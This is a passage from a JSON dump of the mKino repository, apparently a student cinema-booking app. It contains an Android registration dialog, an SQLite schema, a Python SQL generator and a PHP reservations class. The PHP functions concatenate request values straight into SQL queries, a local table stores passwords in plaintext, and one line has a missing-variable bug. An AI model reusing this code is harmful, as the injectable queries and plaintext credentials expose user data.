Dialog(context);\\r\\n\\t\\tdialogRegistracija.requestWindowFeature(Window.FEATURE_NO_TITLE);\\r\\n\\t\\tdialogRegistracija.setContentView(R.layout.dialog_registracija);\\r\\n\\t\\tdialogRegistracija.show();\\r\\n\\r\\n\\t\\t/*dohvaćanje unešenih podataka*/\\r\\n\\t\\tButton btnRegistrirajSe = (Button) dialogRegistracija\\r\\n\\t\\t\\t\\t.findViewById(R.id.registracija_btnRegistrirajSe);\\r\\n\\t\\tButton btnOdustani = (Button) dialogRegistracija\\r\\n\\t\\t\\t\\t.findViewById(R.id.registracija_btnOdustani);\\r\\n\\r\\n\\t\\tfinal EditText txtKorisnickoIme = (EditText) dialogRegistracija\\r\\n\\t\\t\\t\\t.findViewById(R.id.dialog_registracija_txtKorisnickoIme);\\r\\n\\t\\tfinal EditText txtLozinka = (EditText) dialogRegistracija\\r\\n\\t\\t\\t\\t.findViewById(R.id.dialog_registracija_txtLozinka);\\r\\n\\t\\tfinal EditText txtPonovljenaLozinka = (EditText) dialogRegistracija\\r\\n\\t\\t\\t\\t.findViewById(R.id.dialog_registracija_txtPonovljenaLozinka);\\r\\n\\t\\tfinal EditText txtIme = (EditText) dialogRegistracija\\r\\n\\t\\t\\t\\t.findViewById(R.id.dialog_registracija_txtIme);\\r\\n\\t\\tfinal EditText txtPrezime = (EditText) dialogRegistracija\\r\\n\\t\\t\\t\\t.findViewById(R.id.dialog_registracija_txtPrezime);\\r\\n\\t\\tfinal EditText txtEmail = (EditText) dialogRegistracija\\r\\n\\t\\t\\t\\t.findViewById(R.id.dialog_registracija_txtEmail);\\r\\n\\t\\tfinal EditText txtTelefon = (EditText) dialogRegistracija\\r\\n\\t\\t\\t\\t.findViewById(R.id.dialog_registracija_txtTelefon);\\r\\n\\r\\n\\t\\t/*izlazak iz dijaloga*/\\r\\n\\t\\tbtnOdustani.setOnClickListener(new OnClickListener() {\\r\\n\\r\\n\\t\\t\\t@Override\\r\\n\\t\\t\\tpublic void onClick(View v) {\\r\\n\\t\\t\\t\\tdialogRegistracija.dismiss();\\r\\n\\t\\t\\t}\\r\\n\\t\\t});\\r\\n\\t\\t\\r\\n\\t\\t/*registracija*/\\r\\n\\t\\tbtnRegistrirajSe.setOnClickListener(new OnClickListener() {\\r\\n\\r\\n\\t\\t\\t@Override\\r\\n\\t\\t\\tpublic void onClick(View v) {\\r\\n\\t\\t\\t\\t/*parsiranje korisničkog unosa u formu*/\\r\\n\\t\\t\\t\\tString korisnickoIme = txtKorisnickoIme.getText().toString();\\r\\n\\t\\t\\t\\tString lozinka = txtLozinka.getText().toString();\\r\\n\\t\\t\\t\\tString ponovljenaLozinka = txtPonovljenaLozinka.getText().toString();\\r\\n\\t\\t\\t\\tString ime = txtIme.getText().toString();\\r\\n\\t\\t\\t\\tString prezime = txtPrezime.getText().toString();\\r\\n\\t\\t\\t\\tString email = txtEmail.getText().toString();\\r\\n\\t\\t\\t\\tString telefon = txtTelefon.getText().toString();\\t\\t\\t\\r\\n\\t\\t\\t\\t\\r\\n\\t\\t\\t\\tKorisnik korisnik = new Korisnik(korisnickoIme, lozinka, ime, prezime, email, telefon);\\t\\r\\n\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t/*izvršavanje registracije i obavještavanje korisnika o uspješnosti*/\\r\\n\\t\\t\\t\\tswitch(IzvrsiRegistraciju(korisnik, ponovljenaLozinka))\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tcase USPJESNA_REGISTRACIJA: \\r\\n\\t\\t\\t\\t\\t\\tToast.makeText(context, \\\"Uspješna registracija!\\\", Toast.LENGTH_SHORT).show();\\r\\n\\t\\t\\t\\t\\t\\tdialogRegistracija.dismiss();\\r\\n\\t\\t\\t\\t\\t\\tbreak;\\r\\n\\t\\t\\t\\t\\tcase PONOVLJENA_LOZINKA: \\r\\n\\t\\t\\t\\t\\t\\tToast.makeText(context, \\\"Lozinke nisu jednake!\\\", Toast.LENGTH_SHORT).show();\\r\\n\\t\\t\\t\\t\\t\\tbreak;\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\tcase KORISNIK_POSTOJI: \\r\\n\\t\\t\\t\\t\\t\\tToast.makeText(context, \\\"Korisničko ime zauzeto!\\\", Toast.LENGTH_SHORT).show();\\r\\n\\t\\t\\t\\t\\t\\tbreak;\\r\\n\\t\\t\\t\\t\\tcase EMAIL_POSTOJI: \\r\\n\\t\\t\\t\\t\\t\\tToast.makeText(context, \\\"e-mail zauzet!\\\", Toast.LENGTH_SHORT).show();\\r\\n\\t\\t\\t\\t\\t\\tbreak;\\r\\n\\t\\t\\t\\t\\tcase TELEFON_POSTOJI:\\r\\n\\t\\t\\t\\t\\t\\tToast.makeText(context, \\\"telefon zauzet!\\\", Toast.LENGTH_SHORT).show();\\r\\n\\t\\t\\t\\t\\t\\tbreak;\\r\\n\\t\\t\\t\\t\\tcase NEUSPJESNO_REG: \\r\\n\\t\\t\\t\\t\\t\\tToast.makeText(context, \\\"Registracija nije uspjela! Pokušajte ponovno.\\\", Toast.LENGTH_SHORT).show();\\r\\n\\t\\t\\t\\t\\t\\tbreak;\\r\\n\\t\\t\\t\\t\\tcase KORIME_PRAZNO: \\r\\n\\t\\t\\t\\t\\t\\tToast.makeText(context, \\\"Molimo Vas, unesite korisničko ime!\\\", Toast.LENGTH_SHORT).show();\\r\\n\\t\\t\\t\\t\\t\\tbreak;\\r\\n\\t\\t\\t\\t\\tcase IME_PRAZNO: \\r\\n\\t\\t\\t\\t\\t\\tToast.makeText(context, \\\"Molimo Vas, unesite ime!\\\", Toast.LENGTH_SHORT).show();\\r\\n\\t\\t\\t\\t\\t\\tbreak;\\r\\n\\t\\t\\t\\t\\tcase PREZIME_PRAZNO: \\r\\n\\t\\t\\t\\t\\t\\tToast.makeText(context, \\\"Molimo Vas, unesite prezime!\\\", Toast.LENGTH_SHORT).show();\\r\\n\\t\\t\\t\\t\\t\\tbreak;\\r\\n\\t\\t\\t\\t\\tcase LOZINKA_PRAZNA: \\r\\n\\t\\t\\t\\t\\t\\tToast.makeText(context, \\\"Molimo Vas, unesite lozinku!\\\", Toast.LENGTH_SHORT).show();\\r\\n\\t\\t\\t\\t\\t\\tbreak;\\r\\n\\t\\t\\t\\t\\tcase EMAIL_PRAZAN: \\r\\n\\t\\t\\t\\t\\t\\tToast.makeText(context, \\\"Molimo Vas, unesite email!\\\", Toast.LENGTH_SHORT).show();\\r\\n\\t\\t\\t\\t\\t\\tbreak;\\r\\n\\t\\t\\t\\t\\tcase TELEFON_PRAZAN: \\r\\n\\t\\t\\t\\t\\t\\tToast.makeText(context, \\\"Molimo Vas, unesite telefon!\\\", Toast.LENGTH_SHORT).show();\\r\\n\\t\\t\\t\\t\\t\\tbreak;\\r\\n\\t\\t\\t\\t\\tdefault: \\r\\n\\t\\t\\t\\t\\t\\tToast.makeText(context, \\\"Registracija nije uspjela! Pokušajte ponovno.\\\", Toast.LENGTH_SHORT).show();\\r\\n\\t\\t\\t\\t\\t\\tbreak;\\r\\n\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t}\\r\\n\\t\\t});\\r\\n\\r\\n\\t}\\r\\n\\r\\n\\t/**\\r\\n\\t * Metoda koja izvršava registraciju korisnika putem POST metode. \\r\\n\\t * Prvo se podaci validiraju na korisničkoj strani, a\\r\\n\\t * ukoliko dođe do pogreške vraća se broj pogreške ovisno o odgovoru kojeg\\r\\n\\t * vraća servis prilikom validacije i unosa u bazu\\r\\n\\t * \\r\\n\\t * @param objekt tipka Korisnik sa popunjenim podacima i ponovljena lozinka za validaciju\\r\\n\\t * @return \\r\\n\\t *\\t USPJESNA_REGISTRACIJA = 0; \\r\\n\\t *\\t PONOVLJENA_LOZINKA = 1;\\r\\n\\t *\\t KORISNIK_POSTOJI = 4;\\r\\n\\t *\\t EMAIL_POSTOJI = 5;\\r\\n\\t *\\t TELEFON_POSTOJI = 6;\\r\\n\\t *\\t NEUSPJESNO_REG = 7;\\r\\n\\t *\\t KORIME_PRAZNO = 8;\\r\\n\\t *\\t IME_PRAZNO = 9;\\r\\n\\t *\\t PREZIME_PRAZNO = 10;\\r\\n\\t *\\t LOZINKA_PRAZNA = 11;\\r\\n\\t *\\t EMAIL_PRAZAN = 12;\\r\\n\\t * \\t TELEFON_PRAZAN = 13;\\r\\n\\t */\\r\\n\\tpublic int IzvrsiRegistraciju(Korisnik korisnik, String ponovljenaLozinka) {\\r\\n\\t\\t\\r\\n\\t\\t/*validacija korisničkog unosa*/\\r\\n\\t\\tif (korisnik.getKorisnickoIme().length() == 0 || korisnik.getKorisnickoIme() == null) \\r\\n\\t\\t\\treturn 8;\\r\\n\\t\\tif (ponovljenaLozinka.length() == 0 || ponovljenaLozinka == null)\\r\\n\\t\\t\\treturn 11;\\r\\n\\t\\tif(korisnik.getLozinka().length() == 0 || korisnik.getLozinka() == null)\\r\\n\\t\\t\\treturn 11;\\r\\n\\t\\tif (korisnik.getIme().length() == 0 || korisnik.getIme() == null)\\r\\n\\t\\t\\treturn 9;\\r\\n\\t\\tif (korisnik.getPrezime().length() == 0 || korisnik.getPrezime() == null)\\r\\n\\t\\t\\treturn 10;\\r\\n\\t\\tif (korisnik.getLozinka().length() == 0 || korisnik.getLozinka() == null)\\r\\n\\t\\t\\treturn 11;\\t\\t\\r\\n\\t\\tif (korisnik.getEmail().length() == 0 || korisnik.getEmail() == null)\\r\\n\\t\\t\\treturn 12;\\r\\n\\t\\tif(korisnik.getTelefon().length() == 0 || korisnik.getTelefon() == null)\\r\\n\\t\\t\\treturn 13;\\t\\t\\r\\n\\t\\tif(!ponovljenaLozinka.equals(korisnik.getLozinka()))\\r\\n\\t\\t\\treturn 1;\\r\\n\\t\\t\\r\\n\\t\\tJsonRegistracija jsonReg = new JsonRegistracija();\\r\\n\\t\\t/*provjera na korisničkoj strani je uspješno izvršena, izvršavamo registraciju putem post metode*/\\r\\n\\t\\tint uspjesnaRegistracija = jsonReg.registriraj(korisnik);\\r\\n\\t\\t\\r\\n\\t\\treturn uspjesnaRegistracija;\\r\\n\\t}\\r\\n\\r\\n}\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.6276476979255676,\n \"alphanum_fraction\": 0.6867335438728333,\n \"avg_line_length\": 43.849998474121094,\n \"blob_id\": \"2243907dc549402c914bd57345bf023a9456a51b\",\n \"content_id\": \"ff7c6c03ae9ebb5ab254390a288bb1a6b7fe349d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 898,\n \"license_type\": \"no_license\",\n \"max_line_length\": 210,\n \"num_lines\": 20,\n \"path\": \"/server-side/Baza/generiranjeProjekcija.py\",\n \"repo_name\": \"dsitum/mKino\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/usr/bin/python3.3\\n\\nimport random\\n\\ns = \\\"Insert into projekcijefilmova (dvorana, film, vrijemePocetka, cijena) values \\\"\\n\\nfor k in range(9, 24, 2): # 8 puta. vrijeme\\n\\tfor i in range(2, 22): # svi filmovi\\n\\t\\tsvakiFilmUXDvorana = random.randint(10, 15) #uključive obje granice\\n\\t\\tiskoristeneDvoraneUTerminu = set()\\n\\t\\tfor j in range(svakiFilmUXDvorana):\\n\\t\\t\\t# biramo dvoranu\\n\\t\\t\\tdvorana = random.randint(1, 80)\\n\\t\\t\\twhile ((dvorana > 26 and dvorana < 35) or (dvorana > 49 and dvorana < 58) or (dvorana > 65 and dvorana < 76) or (dvorana in iskoristeneDvoraneUTerminu)):\\n\\t\\t\\t\\tdvorana = random.randint(1, 80)\\n\\t\\t\\tiskoristeneDvoraneUTerminu.add(dvorana)\\n\\t\\t\\ts += \\\"({dv}, {film}, '2014-01-{dan} {sat}:{minuta}:00', {cijena}), \\\".format(dv=dvorana, film=i, dan=random.randint(1, 10), sat=k, minuta=str(random.randint(0,1)*30).zfill(2), cijena=25+random.randint(0,2)*5)\\n\\nwith open('sve.sql', 'w') as f:\\n\\tf.write(s)\\n\"\n },\n {\n \"alpha_fraction\": 0.7694393992424011,\n \"alphanum_fraction\": 0.7703436017036438,\n \"avg_line_length\": 49.46511459350586,\n \"blob_id\": \"72fd464774ef57f51799a701ea1cf3b65668dd6d\",\n \"content_id\": \"fd28d49a813c986893bb73aed433217f7f792636\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Java\",\n \"length_bytes\": 2219,\n \"license_type\": \"no_license\",\n \"max_line_length\": 225,\n \"num_lines\": 43,\n \"path\": \"/client-side/src/hr/air/mkino/baza/DbHelper.java\",\n \"repo_name\": \"dsitum/mKino\",\n \"src_encoding\": \"WINDOWS-1250\",\n \"text\": \"package hr.air.mkino.baza;\\r\\n\\r\\nimport java.util.ArrayList;\\r\\nimport java.util.List;\\r\\n\\r\\nimport android.content.Context;\\r\\nimport android.database.sqlite.SQLiteDatabase;\\r\\nimport android.database.sqlite.SQLiteDatabase.CursorFactory;\\r\\nimport android.database.sqlite.SQLiteOpenHelper;\\r\\n\\r\\n/**\\r\\n * Ova klasa služi za ostvarivanje pristupa lokalnoj bazi podataka. Kada se instancira ovaj objekt, stvaraju se sve potrebne tablice kako bi bile spremne za postupak čitanja/pisanja\\r\\n * @author domagoj\\r\\n *\\r\\n */\\r\\npublic class DbHelper extends SQLiteOpenHelper {\\r\\n\\r\\n\\tpublic DbHelper(Context context, String name, CursorFactory factory,\\r\\n\\t\\t\\tint version) {\\r\\n\\t\\tsuper(context, name, factory, version);\\r\\n\\t}\\r\\n\\t\\r\\n\\t// prilikom stvaranja instance se stvaraju i sve potrebne tablice\\r\\n\\t@Override\\r\\n\\tpublic void onCreate(SQLiteDatabase db) {\\r\\n\\t\\tList<String> tablice = new ArrayList<String>();\\r\\n\\t\\ttablice.add(\\\"CREATE TABLE IF NOT EXISTS multipleksi (idMultipleksa INTEGER PRIMARY KEY, naziv TEXT, oznaka TEXT, zemljopisnaDuzina REAL, zemljopisnaSirina REAL)\\\");\\r\\n\\t\\ttablice.add(\\\"CREATE TABLE IF NOT EXISTS korisnik (idKorisnika INTEGER PRIMARY KEY, korisnickoIme TEXT, ime TEXT, prezime TEXT, email TEXT, telefon TEXT)\\\");\\r\\n\\t\\ttablice.add(\\\"CREATE TABLE IF NOT EXISTS filmovi (idFilma INTEGER PRIMARY KEY, naziv TEXT, opis TEXT, redatelj TEXT, glavneUloge TEXT, trajanje INTEGER, godina INTEGER, aktualno INTEGER, zanr TEXT)\\\");\\r\\n\\t\\ttablice.add(\\\"CREATE TABLE IF NOT EXISTS projekcije(idProjekcije INTEGER PRIMARY KEY, dvorana INTEGER, film INTEGER CONSTRAINT fk55 REFERENCES filmovi(idFilma), vrijemePocetka DATETIME, cijena INTEGER, multipleks INTEGER)\\\");\\r\\n\\t\\ttablice.add(\\\"CREATE TABLE IF NOT EXISTS odabranimultipleks (id INTEGER)\\\");\\r\\n\\t\\ttablice.add(\\\"CREATE TABLE IF NOT EXISTS mojaRezervacija (idRezervacije INTEGER, idProjekcije INTEGER, korisnickoIme TEXT, kodRezervacije TEXT, sjedalo INTEGER)\\\");\\r\\n\\t\\ttablice.add(\\\"CREATE TABLE IF NOT EXISTS prijavljenikorisnik (korisnickoIme TEXT, lozinka TEXT)\\\");\\r\\n\\t\\t\\r\\n\\t\\tfor (String tablica : tablice)\\r\\n\\t\\t\\tdb.execSQL(tablica);\\r\\n\\t}\\r\\n\\r\\n\\t@Override\\r\\n\\tpublic void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {\\r\\n\\t\\t// ovo mora biti ovdje, unatoč tome što zasad ne treba i što možda neće trebati\\r\\n\\t}\\r\\n}\\n\"\n },\n {\n \"alpha_fraction\": 0.712106466293335,\n \"alphanum_fraction\": 0.712431013584137,\n \"avg_line_length\": 26.794391632080078,\n \"blob_id\": \"da9f83eeaf6ab4d2cdf2ed7d7dfaf22aec95fca9\",\n \"content_id\": \"8d7118eb8ff036bbfeba0c9b8757c876f411fa9a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Java\",\n \"length_bytes\": 3087,\n \"license_type\": \"no_license\",\n \"max_line_length\": 119,\n \"num_lines\": 107,\n \"path\": \"/client-side/src/hr/air/mkino/server/JsonMultipleksi.java\",\n \"repo_name\": \"dsitum/mKino\",\n \"src_encoding\": \"WINDOWS-1250\",\n \"text\": \"package hr.air.mkino.server;\\r\\n\\r\\nimport hr.air.mkino.tipovi.MultipleksInfo;\\r\\n\\r\\nimport java.io.IOException;\\r\\nimport java.util.ArrayList;\\r\\nimport java.util.List;\\r\\nimport java.util.concurrent.ExecutionException;\\r\\n\\r\\nimport org.apache.http.client.ClientProtocolException;\\r\\nimport org.apache.http.client.HttpClient;\\r\\nimport org.apache.http.client.ResponseHandler;\\r\\nimport org.apache.http.client.methods.HttpGet;\\r\\nimport org.apache.http.impl.client.BasicResponseHandler;\\r\\nimport org.apache.http.impl.client.DefaultHttpClient;\\r\\nimport org.json.JSONArray;\\r\\nimport org.json.JSONException;\\r\\nimport org.json.JSONObject;\\r\\n\\r\\nimport android.os.AsyncTask;\\r\\n\\r\\n/**\\r\\n * Ova klasa služi za dohvat svih multipleksa sa web servisa.\\r\\n * @author domagoj\\r\\n *\\r\\n */\\r\\npublic class JsonMultipleksi extends AsyncTask<Void, Void, String> {\\r\\n\\t/**\\r\\n\\t * Dohvaća multiplekse sa web servisa\\r\\n\\t * @return lista multipleksa\\r\\n\\t */\\r\\n\\tpublic List<MultipleksInfo> dohvatiMultiplekse()\\r\\n\\t{\\r\\n\\t\\t// dohvatiti podatke s web servsa\\t\\t\\r\\n\\t\\tthis.execute();\\r\\n\\t\\tString jsonRezultat = \\\"\\\";\\r\\n\\t\\ttry {\\r\\n\\t\\t\\tjsonRezultat = this.get();\\r\\n\\t\\t} catch (InterruptedException e) {\\r\\n\\t\\t\\te.printStackTrace();\\r\\n\\t\\t} catch (ExecutionException e) {\\r\\n\\t\\t\\te.printStackTrace();\\r\\n\\t\\t}\\r\\n\\t\\t\\r\\n\\t\\tList<MultipleksInfo> multipleksi = parsirajJson(jsonRezultat);\\r\\n\\t\\treturn multipleksi;\\r\\n\\t}\\r\\n\\r\\n\\t/**\\r\\n\\t * Parsira JSON string dohvaćen s web servisa\\r\\n\\t * @param jsonRezultat\\r\\n\\t * @return multipleksi\\r\\n\\t */\\r\\n\\tprivate List<MultipleksInfo> parsirajJson(String jsonRezultat) {\\r\\n\\t\\tList<MultipleksInfo> multipleksi = new ArrayList<MultipleksInfo>();\\r\\n\\t\\tint idMultipleksa;\\r\\n\\t\\tString naziv;\\r\\n\\t\\tString oznaka;\\r\\n\\t\\tfloat zemljopisnaDuzina;\\r\\n\\t\\tfloat zemljopisnaSirina;\\r\\n\\t\\t\\r\\n\\t\\ttry {\\r\\n\\t\\t\\tJSONArray mpleksi = new JSONArray(jsonRezultat);\\r\\n\\t\\t\\tint n = mpleksi.length();\\r\\n\\t\\t\\tfor(int i=0; i<n; i++)\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tJSONObject mpleks = mpleksi.getJSONObject(i);\\r\\n\\t\\t\\t\\tidMultipleksa = mpleks.getInt(\\\"idMultipleksa\\\");\\r\\n\\t\\t\\t\\tnaziv = mpleks.getString(\\\"naziv\\\");\\r\\n\\t\\t\\t\\toznaka = mpleks.getString(\\\"oznaka\\\");\\r\\n\\t\\t\\t\\tzemljopisnaDuzina = Float.valueOf(mpleks.getString(\\\"zemljopisnaDuzina\\\"));\\r\\n\\t\\t\\t\\tzemljopisnaSirina = Float.valueOf(mpleks.getString(\\\"zemljopisnaSirina\\\"));\\r\\n\\t\\t\\t\\tMultipleksInfo multipleks = new MultipleksInfo(idMultipleksa, naziv, oznaka, zemljopisnaDuzina, zemljopisnaSirina);\\r\\n\\t\\t\\t\\t\\r\\n\\t\\t\\t\\tmultipleksi.add(multipleks);\\r\\n\\t\\t\\t}\\r\\n\\t\\t} \\r\\n\\t\\tcatch (JSONException e) {\\r\\n\\t\\t\\te.printStackTrace();\\r\\n\\t\\t}\\r\\n\\t\\t\\r\\n\\t\\treturn multipleksi;\\r\\n\\t}\\r\\n\\r\\n\\t// pomoćna metoda koja u pozadini obrađuje http zahtjev (dohvaćanje podataka)\\r\\n\\t@Override\\r\\n\\tprotected String doInBackground(Void... params) {\\r\\n\\t\\tHttpClient httpKlijent = new DefaultHttpClient();\\r\\n\\t\\tHttpGet httpZahtjev = new HttpGet(\\\"http://mkinoairprojekt.me.pn/skripte/index.php?tip=multipleksi\\\");\\r\\n\\t\\t\\r\\n\\t\\tString jsonResult = \\\"\\\";\\r\\n\\t\\tResponseHandler<String> handler = new BasicResponseHandler();\\r\\n\\t\\t\\r\\n\\t\\ttry {\\r\\n\\t\\t\\tjsonResult = httpKlijent.execute(httpZahtjev, handler);\\r\\n\\t\\t}\\r\\n\\t\\tcatch(ClientProtocolException e){\\r\\n\\t\\t\\te.printStackTrace();\\r\\n\\t\\t}\\r\\n\\t\\tcatch(IOException e){\\r\\n\\t\\t\\te.printStackTrace();\\r\\n\\t\\t}\\r\\n\\t\\t\\r\\n\\t\\thttpKlijent.getConnectionManager().shutdown();\\r\\n\\t\\treturn jsonResult;\\r\\n\\t}\\r\\n}\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.4762108027935028,\n \"alphanum_fraction\": 0.4795178174972534,\n \"avg_line_length\": 47.87234115600586,\n \"blob_id\": \"7e18d80d748f9dc9e8ec70e4d57c3863c2d18a73\",\n \"content_id\": \"0f53e17d92a3648d6228ffc0da453ab9ba00ff8f\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"PHP\",\n \"length_bytes\": 9375,\n \"license_type\": \"no_license\",\n \"max_line_length\": 370,\n \"num_lines\": 188,\n \"path\": \"/server-side/Datoteke/skripte/filmovi.php\",\n \"repo_name\": \"dsitum/mKino\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"<?php\\r\\n class Filmovi\\r\\n {\\r\\n public static function DohvatiFilmove($aktualno)\\r\\n {\\r\\n require_once 'DB_connect.php';\\r\\n $upit = \\\"SELECT idFilma, filmovi.naziv as naziv, opis, redatelj, glavneUloge, trajanje, godina, zanrovi.naziv as zanr, aktualno FROM filmovi JOIN zanrovi ON (filmovi.zanr = zanrovi.idZanra) WHERE aktualno = \\\" . $aktualno;\\r\\n \\r\\n $filmovi = UpitUBazu($upit);\\r\\n return $filmovi;\\r\\n }\\r\\n public static function DohvatiRezervacije($korisnik)\\r\\n {\\r\\n require_once 'DB_connect.php';\\r\\n $upit = \\\"SELECT idKorisnika FROM korisnici WHERE korisnickoIme = '$korisnik'\\\";\\r\\n $idKorisnika = UpitUBazu($upit);\\r\\n $upit = \\\"SELECT * FROM rezervacije LEFT JOIN projekcijefilmova ON rezervacije.projekcija = projekcijefilmova.idProjekcije WHERE projekcijefilmova.vrijemePocetka >= NOW() AND korisnik = \\\" . $idKorisnika[0]['idKorisnika'] . \\\" ORDER BY rezervacije.projekcija\\\";\\r\\n $projekcije = UpitUBazu($upit);\\r\\n return $projekcije;\\r\\n }\\r\\n \\r\\n public static function DohvatiNekeFilmove($aktualno, $bezOvih)\\r\\n {\\r\\n require_once 'DB_connect.php';\\r\\n $upit = \\\"SELECT idFilma, filmovi.naziv as naziv, opis, redatelj, glavneUloge, trajanje, godina, zanrovi.naziv as zanr, aktualno FROM filmovi JOIN zanrovi ON (filmovi.zanr = zanrovi.idZanra)\\\";\\r\\n \\r\\n $filmovi = UpitUBazu($upit);\\r\\n \\r\\n $bezOvihFilmovaTmp = json_decode($bezOvih);\\r\\n $bezOvihFilmova = array();\\r\\n foreach($bezOvihFilmovaTmp as $bezOvog)\\r\\n $bezOvihFilmova[] = $bezOvog->{'idFilma'};\\r\\n \\r\\n $samoOviFilmovi = array();\\r\\n \\r\\n foreach($filmovi as $film)\\r\\n {\\r\\n $idFilma = $film[\\\"idFilma\\\"];\\r\\n if (! in_array($idFilma, $bezOvihFilmova) && $film[\\\"aktualno\\\"] == 1)\\r\\n {\\r\\n $samoOviFilmovi[] = $film;\\r\\n }\\r\\n \\r\\n if (in_array($idFilma, $bezOvihFilmova) && $film[\\\"aktualno\\\"] == 0)\\r\\n {\\r\\n $samoOviFilmovi[] = $film;\\r\\n }\\r\\n }\\r\\n \\r\\n return $samoOviFilmovi;\\r\\n }\\r\\n \\r\\n public static function DohvatiSveProjekcije($film, $multipleks)\\r\\n {\\r\\n require_once 'DB_connect.php';\\r\\n $upit = \\\"SELECT idProjekcije, vrijemePocetka, cijena, brojDvorane FROM projekcijefilmova JOIN dvorane ON (projekcijefilmova.dvorana = dvorane.idDvorane) JOIN multipleksi ON (dvorane.multipleks = multipleksi.idMultipleksa) WHERE projekcijefilmova.film = $film AND dvorane.multipleks = $multipleks AND DATE(vrijemePocetka) >= DATE(DATE_ADD(NOW(), INTERVAL 1 HOUR))\\\";\\r\\n $projekcije = UpitUBazu($upit);\\r\\n return $projekcije;\\r\\n }\\r\\n \\r\\n public static function DohvatiProjekcijeNaDan($film, $multipleks, $datum)\\r\\n {\\r\\n require_once 'DB_connect.php';\\r\\n $upit = \\\"SELECT idProjekcije, vrijemePocetka, cijena, brojDvorane FROM projekcijefilmova JOIN dvorane ON (projekcijefilmova.dvorana = dvorane.idDvorane) JOIN multipleksi ON (dvorane.multipleks = multipleksi.idMultipleksa) WHERE projekcijefilmova.film = $film AND dvorane.multipleks = $multipleks AND DATE(vrijemePocetka) = '$datum'\\\";\\r\\n $projekcije = UpitUBazu($upit);\\r\\n return $projekcije;\\r\\n }\\r\\n public static function DohvatiProjekcijeMultipleks($multipleks, $bezOvih)\\r\\n {\\r\\n require_once 'DB_connect.php';\\r\\n $danasnjiDatum = date('Y-m-d H:i:s', time());\\r\\n $danasnjiDatum = date('Y-m-d', strtotime($danasnjiDatum . '+ 30 minute'));\\r\\n $iduca2Tjedna = date('Y-m-d', strtotime($danasnjiDatum . '+ 14 day'));\\r\\n $upit = \\\"SELECT p.idProjekcije, p.film, p.vrijemePocetka, p.cijena, d.brojDvorane, d.multipleks FROM projekcijefilmova AS p LEFT JOIN dvorane AS d ON p.dvorana = d.idDvorane WHERE d.multipleks = $multipleks AND p.vrijemePocetka >= DATE_ADD(NOW(), INTERVAL 1 HOUR) ORDER BY p.film ASC , `p`.`vrijemePocetka` ASC\\\";\\r\\n $projekcije = UpitUBazu($upit);\\r\\n \\r\\n try{\\r\\n $bezOvihProjekcijaTmp = json_decode($bezOvih);\\r\\n $bezOvihProjekcija = array();\\r\\n if(!empty($bezOvihProjekcijaTmp))\\r\\n {\\r\\n foreach($bezOvihProjekcijaTmp as $bezOvog)\\r\\n $bezOvihProjekcija[] = $bezOvog->{'idProjekcije'};\\r\\n }\\r\\n }\\r\\n catch( Exception $e){\\r\\n \\r\\n }\\r\\n $samoOveProjekcije = array();\\r\\n \\r\\n foreach($projekcije as $projekcija)\\r\\n {\\r\\n \\r\\n if(($projekcija['vrijemePocetka'] >= $danasnjiDatum) && ($projekcija['vrijemePocetka'] <= $iduca2Tjedna))\\r\\n {\\r\\n $uvjet = true;\\r\\n }\\r\\n else \\r\\n {\\r\\n $uvjet=false;\\r\\n }\\r\\n \\r\\n \\r\\n \\r\\n $idProjekcije = $projekcija[\\\"idProjekcije\\\"];\\r\\n if (! in_array($idProjekcije, $bezOvihProjekcija) && ($uvjet == true))\\r\\n {\\r\\n \\r\\n $samoOveProjekcije[] = $projekcija;\\r\\n }\\r\\n if ( in_array($idProjekcije, $bezOvihProjekcija)&& ($uvjet == false))\\r\\n {\\r\\n $samoOveProjekcije[] = $projekcija;\\r\\n }\\r\\n } \\r\\n return $samoOveProjekcije; \\r\\n }\\r\\n public static function DohvatiSjedalaProjekcija($projekcija)\\r\\n {\\r\\n require_once 'DB_connect.php';\\r\\n $upit = \\\"SELECT brojSjedala FROM rezervacije WHERE projekcija =\\\".$projekcija.\\\" order by brojSjedala\\\";\\r\\n \\r\\n $projekcije = UpitUBazu($upit);\\r\\n return $projekcije;\\r\\n }\\r\\n public static function Rezerviraj($projekcija, $korisnik, $sjedalaJSON)\\r\\n {\\r\\n \\r\\n $zapis = array();\\r\\n require_once 'DB_connect.php';\\r\\n $upit = \\\"SELECT idKorisnika FROM korisnici WHERE korisnickoIme = '\\\".$korisnik.\\\"'\\\";\\r\\n \\r\\n $idKorisnika = UpitUBazu($upit); \\r\\n \\r\\n $sjedalaTmp = json_decode($sjedalaJSON); \\r\\n $sjedala = array();\\r\\n \\r\\n $kodRezervacije = $idKorisnika[0]['idKorisnika'] .\\\"-\\\".$projekcija;\\r\\n \\r\\n $zauzetoMjesto = 0;\\r\\n for($i = 0; $i < count(sjedalaTmp); $i++)\\r\\n {\\r\\n $upit = \\\"SELECT * FROM rezervacije WHERE projekcija =\\\".$projekcija.\\\" AND brojSjedala=\\\".(string)$sjedalaTmp[$i]->{'sjedalo'}.\\\"\\\";\\r\\n $rezervacije = UpitUBazu($upit);\\r\\n if($rezervacije[0][povratnaInformacijaId] !== 1) $zauzetoMjesto=1; \\r\\n \\r\\n } \\r\\n \\r\\n if($zauzetoMjesto === 0)\\r\\n {\\r\\n for($i = 0; $i < sizeof($sjedalaTmp,1); $i++)\\r\\n {\\r\\n $upit = \\\"INSERT INTO rezervacije VALUES (DEFAULT,\\\".$projekcija.\\\", \\\".(string)$idKorisnika[0]['idKorisnika'].\\\", \\\".(string)$sjedalaTmp[$i]->{'sjedalo'}.\\\", '\\\".$kodRezervacije.\\\"')\\\";\\r\\n $uspjesnost = 